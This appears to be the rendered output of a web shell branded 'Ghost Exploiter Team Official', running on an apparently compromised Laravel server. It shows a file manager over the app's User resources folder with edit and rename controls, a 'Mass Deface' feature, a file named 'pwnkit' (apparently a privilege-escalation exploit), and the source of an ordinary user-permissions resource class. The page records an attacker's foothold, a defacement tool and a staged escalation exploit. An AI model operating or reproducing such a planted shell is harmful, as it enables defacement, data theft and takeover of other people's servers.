Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
app
/
Http
/
Resources
/
User
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
TokenResponse.php
1.604KB
edt
ren
UserResource.php
1.324KB
edt
ren
UserShowPermissionsReso
...
1.186KB
edt
ren
UserShowResource.php
1.42KB
edt
ren
pwnkit
10.992KB
edt
ren
<?php namespace App\Http\Resources\User; use App\Enums\RoleEnum; use App\Enums\RolePermissionsEnum; use Illuminate\Http\Request; use Illuminate\Http\Resources\Json\JsonResource; class UserShowPermissionsResource extends JsonResource { public function toArray(Request $request): array { return [ 'id' => $this->id, 'first_name' => $this->first_name, 'last_name' => $this->last_name, 'email' => $this->email, 'start_page' => $this->start_page, 'is_blocked' => $this->is_blocked, 'image' => !empty($this->getFirstMediaUrl('avatars')) ? $this->getFirstMediaUrl('avatars') : null, 'models' => $this->roles->map(function ($role) { $roleEnum = RoleEnum::tryFrom($role->role); if ($role->permissions) { $enumPermissions = RolePermissionsEnum::fromCommaSeparated($role->permissions); } return [ 'name' => $role->model->name ?? null, 'role' => $role->role ?? null, 'permissions' => $role->permissions ?? null, ]; }), ]; } }